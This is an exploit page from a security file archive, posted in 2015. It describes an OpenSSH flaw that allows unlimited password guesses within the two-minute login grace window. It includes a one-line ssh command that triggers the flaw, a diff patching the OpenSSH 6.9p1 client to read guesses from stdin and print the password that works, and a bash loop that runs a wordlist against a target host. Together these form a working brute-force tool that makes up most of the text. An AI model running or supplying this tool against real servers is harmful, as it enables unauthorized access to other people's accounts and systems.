what you don't know can hurt you

OpenSSH Two Minute Cracking Window

OpenSSH Two Minute Cracking Window
Posted Jul 19, 2015
Authored by Kingcope

OpenSSH allows for unlimited password cracking in a two minute timeframe.

tags | exploit
MD5 | 6295e312f1ac28b5f46eb3fe66a912b9

OpenSSH Two Minute Cracking Window

Change Mirror Download
OpenSSH has a default value of six authentication tries before it will
close the connection (the ssh client allows only three password
entries per default).

With this vulnerability an attacker is able to request as many
password prompts limited by the “login graced time” setting, that is
set to two minutes by default.

Especially FreeBSD systems are affected by the vulnerability because
they have keyboard-interactive authentication enabled by default.

A simple way to exploit the bug is to execute this command:

ssh -lusername -oKbdInteractiveDevices=`perl -e 'print "pam," x
10000'` targethost

This will effectively allow up to 10000 password entries limited by
the login grace time setting.

The crucial part is that if the attacker requests 10000
keyboard-interactive devices openssh will gracefully execute the
request and will be inside a loop to accept passwords until the
specified devices are exceeded.

Here is a patch for openssh-6.9p1 that will allow to use a wordlist
and any passwords piped to the ssh process to be used in order to
crack passwords remotely.

---snip---

diff openssh-6.9p1/sshconnect2.c openssh-6.9p1-modified/sshconnect2.c
83a84,85
> char password[1024];
>
510c512,517
< authctxt->success = 1; /* break out */
---
> printf("==============================================\n");
> printf("*** SUCCESS **********************************\n");
> printf("*** PASSWORD: %s\n", password);
> printf("==============================================\n");
> exit(0);
>
1376a1384,1385
> char *devicebuffer;
> int i;
1386a1396,1405
> devicebuffer = calloc(1, 200000);
> if (!devicebuffer) {
> fatal("cannot allocate devicebuffer");
> }
>
> for (i=0;i<200000-2;i+=2) {
> memcpy(devicebuffer + i, "p,", 2);
> }
> devicebuffer[200000] = 0;
>
1393,1394c1412
< packet_put_cstring(options.kbd_interactive_devices ?
< options.kbd_interactive_devices : "");
---
> packet_put_cstring(devicebuffer);
1408c1426
< char *name, *inst, *lang, *prompt, *response;
---
> char *name, *inst, *lang, *prompt;
1410c1428
< int echo = 0;
---
> char *pos;
1425a1444
>
1430a1450
>
1443,1449c1463,1469
< echo = packet_get_char();
<
< response = read_passphrase(prompt, echo ? RP_ECHO : 0);
<
< packet_put_cstring(response);
< explicit_bzero(response, strlen(response));
< free(response);
---
> packet_get_char();
> if (fgets(password, 1024, stdin) == NULL)
> exit(0);
> if ((pos=strchr(password, '\n')) != NULL)
> *pos = '';
> printf("%s\n", password);
> packet_put_cstring(password);

---snip---

After applying the patch you can use this shell script to make the
password attack from a wordlist:

---snip---

#!/bin/bash
# run as:
# cat wordlist.txt | ./sshcracker.sh ssh-username ssh-target
#
while true
do
./ssh -l$1 $2
rc=$?; if [[ $rc == 0 ]]; then exit $rc; fi
echo Respawn due to login grace time...
done

---snip---

For example enter this command:

cat wordlist.txt | ./sshcracker.sh test 192.168.2.173

The attack has been tested against a new FreeBSD 10.1 system and older
FreeBSD versions such as version 6.2.


Login or Register to add favorites

File Archive:

February 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    33 Files
  • 2
    Feb 2nd
    30 Files
  • 3
    Feb 3rd
    15 Files
  • 4
    Feb 4th
    8 Files
  • 5
    Feb 5th
    11 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    1 Files
  • 8
    Feb 8th
    37 Files
  • 9
    Feb 9th
    15 Files
  • 10
    Feb 10th
    11 Files
  • 11
    Feb 11th
    26 Files
  • 12
    Feb 12th
    8 Files
  • 13
    Feb 13th
    1 Files
  • 14
    Feb 14th
    1 Files
  • 15
    Feb 15th
    9 Files
  • 16
    Feb 16th
    33 Files
  • 17
    Feb 17th
    6 Files
  • 18
    Feb 18th
    10 Files
  • 19
    Feb 19th
    20 Files
  • 20
    Feb 20th
    1 Files
  • 21
    Feb 21st
    1 Files
  • 22
    Feb 22nd
    17 Files
  • 23
    Feb 23rd
    15 Files
  • 24
    Feb 24th
    16 Files
  • 25
    Feb 25th
    28 Files
  • 26
    Feb 26th
    25 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close